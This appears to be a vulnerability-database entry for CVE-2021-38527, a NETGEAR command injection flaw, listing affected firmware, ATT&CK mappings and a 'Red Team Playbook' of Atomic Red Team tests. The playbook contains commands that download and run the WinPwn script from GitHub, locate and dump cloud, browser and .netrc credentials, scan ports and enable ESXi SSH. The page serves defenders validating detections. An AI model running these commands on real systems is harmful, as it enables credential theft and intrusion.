CVE-2021-38527

CRITICAL Pub 11/08 Upd 04/08

Overview

This vulnerability is a command injection flaw arising from improper input validation in the firmware of multiple NETGEAR devices. The root cause is the failure to sanitize user-supplied input before passing it to system-level command execution functions. The affected components are the device firmware modules handling certain network management or extender functionalities across various NETGEAR router and WiFi system models.

Vulnerability Description

Certain NETGEAR devices are affected by command injection by an unauthenticated attacker. This affects CBR40 before 2.5.0.14, EX6100v2 before 1.0.1.98, EX6150v2 before 1.0.1.98, EX6250 before 1.0.0.132, EX6400 before 1.0.2.158, EX6400v2 before 1.0.0.132, EX6410 before 1.0.0.132, EX6420 before 1.0.0.132, EX7300 before 1.0.2.158, EX7300v2 before 1.0.0.132, EX7320 before 1.0.0.132, EX7700 before 1.0.0.216, EX8000 before 1.0.1.232, R7800 before 1.0.2.78, RBK12 before 2.6.1.44, RBR10 before 2.6.1.44, RBS10 before 2.6.1.44, RBK20 before 2.6.1.38, RBR20 before 2.6.1.36, RBS20 before 2.6.1.38, RBK40 before 2.6.1.38, RBR40 before 2.6.1.36, RBS40 before 2.6.1.38, RBK50 before 2.6.1.40, RBR50 before 2.6.1.40, RBS50 before 2.6.1.40, RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, RBS850 before 3.2.16.6, RBS40V before 2.6.2.4, RBS50Y before 2.6.1.40, RBW30 before 2.6.2.2, and XR500 before 2.3.2.114.

Impact

An unauthenticated attacker with network access to the affected devices can execute arbitrary system commands remotely, potentially leading to full control over the device. This enables unauthorized configuration changes, data exposure, or lateral movement within the network. The vulnerability requires no authentication (PR:N) and no user interaction (UI:N), with low attack complexity (AC:L), increasing the likelihood of exploitation. The attacker can leverage this to disrupt network operations or compromise sensitive data handled by the device.

Solution

NETGEAR has released firmware updates addressing this vulnerability in specific versions for each affected model, as detailed in their security advisory PSV-2020-0025 available at https://kb.netgear.com/000063778. Users should upgrade to firmware versions at or above those listed in the advisory, such as CBR40 firmware 2.5.0.14 or later, EX6100v2 firmware 1.0.1.98 or later, and corresponding versions for other models. No alternative workarounds are specified; applying the vendor-provided patches is the recommended remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The command injection vulnerability affecting a range of NETGEAR devices represents a significant security concern, primarily due to its high severity rating. This flaw allows unauthenticated attackers to execute arbitrary commands on the affected devices by sending specially crafted requests. The vulnerability arises from inadequate input validation mechanisms within the firmware of various models, including routers and extenders. Attackers can exploit this weakness to manipulate the device's operating system, potentially leading to unauthorized access, data breaches, or even the complete takeover of the device.

Exploitation of this vulnerability can occur through multiple attack vectors. An attacker could initiate a command injection attack by sending malicious HTTP requests to the device's web interface, which is often accessible over the internet. Given that many NETGEAR devices are deployed in home and small business environments, the likelihood of exposure is significant. Once the attacker successfully injects commands, they could execute a range of harmful actions, such as altering device configurations, intercepting network traffic, or installing malicious software. The simplicity of the attack, combined with the lack of authentication requirements, makes it particularly dangerous, as it lowers the barrier to entry for potential attackers.

The real-world impact of this vulnerability can be profound, especially for businesses relying on NETGEAR devices for their network infrastructure. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. For organizations, the implications extend beyond immediate financial damage; they may also face reputational harm, regulatory penalties, and loss of customer trust. The interconnected nature of modern networks means that a compromised device can serve as a foothold for further attacks, potentially impacting other systems and data within the organization.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating device firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can also help identify unusual traffic patterns that may indicate an attempted exploitation. Additionally, employing firewalls and intrusion detection systems can provide an additional layer of defense by blocking unauthorized access attempts. Organizations should also consider segmenting their networks to limit the potential impact of a compromised device, ensuring that critical systems are isolated from less secure devices.

In conclusion, the command injection vulnerability in NETGEAR devices poses a serious threat to both individual users and organizations. The ease of exploitation and the potential for severe consequences necessitate immediate attention and action. By adopting proactive security measures, including firmware updates, network monitoring, and segmentation, organizations can significantly reduce their risk exposure and protect their assets from malicious actors. As the cybersecurity landscape continues to evolve, staying informed about vulnerabilities and implementing robust security practices will be essential for safeguarding sensitive information and maintaining operational integrity.

Affected Products (36)

Vendor Product Version CPE
netgear Netgear Cbr40 Firmware All cpe:2.3:o:netgear:cbr40_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6100 Firmware All cpe:2.3:o:netgear:ex6100_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6150 Firmware All cpe:2.3:o:netgear:ex6150_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6250 Firmware All cpe:2.3:o:netgear:ex6250_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6400 Firmware All cpe:2.3:o:netgear:ex6400_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6400 Firmware All cpe:2.3:o:netgear:ex6400_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6410 Firmware All cpe:2.3:o:netgear:ex6410_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex6420 Firmware All cpe:2.3:o:netgear:ex6420_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex7300 Firmware All cpe:2.3:o:netgear:ex7300_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex7300 Firmware All cpe:2.3:o:netgear:ex7300_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex7320 Firmware All cpe:2.3:o:netgear:ex7320_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex7700 Firmware All cpe:2.3:o:netgear:ex7700_firmware:*:*:*:*:*:*:*:*
netgear Netgear Ex8000 Firmware All cpe:2.3:o:netgear:ex8000_firmware:*:*:*:*:*:*:*:*
netgear Netgear R7800 Firmware All cpe:2.3:o:netgear:r7800_firmware:*:*:*:*:*:*:*:*
netgear Netgear Rbk12 Firmware All cpe:2.3:o:netgear:rbk12_firmware:*:*:*:*:*:*:*:*
netgear Netgear Rbr10 Firmware All cpe:2.3:o:netgear:rbr10_firmware:*:*:*:*:*:*:*:*
netgear Netgear Rbs10 Firmware All cpe:2.3:o:netgear:rbs10_firmware:*:*:*:*:*:*:*:*
netgear Netgear Rbk20 Firmware All cpe:2.3:o:netgear:rbk20_firmware:*:*:*:*:*:*:*:*
netgear Netgear Rbr20 Firmware All cpe:2.3:o:netgear:rbr20_firmware:*:*:*:*:*:*:*:*
netgear Netgear Rbs20 Firmware All cpe:2.3:o:netgear:rbs20_firmware:*:*:*:*:*:*:*:*
+16 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
65% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
47%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
34%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
30%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-38527
kb.netgear.com
GitHub CVE x_refsource_MISC
https://kb.netgear.com/000063778/Security-Advisory-for-Pre-Authentication-Command-Injection-on-Some-Extenders-Routers-and-WiFi-Systems-PSV-2020-0025